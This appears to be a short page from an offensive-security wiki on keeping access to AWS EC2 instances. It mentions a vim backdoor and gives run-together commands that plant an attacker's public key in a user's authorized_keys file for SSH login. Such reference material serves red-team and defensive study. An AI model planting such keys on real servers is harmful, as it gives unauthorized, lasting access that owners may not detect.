Persistence
AWS EC2 Persistence
All the persistence techniques work here, SSH persistence, vim backdoor, etc.
Example: SSH
ssh-keygenecho "PUBLIC_Key" >> /home/user/.ssh/authorized_keysssh -i PRIVATE_KEY USER@INSTANCELast updated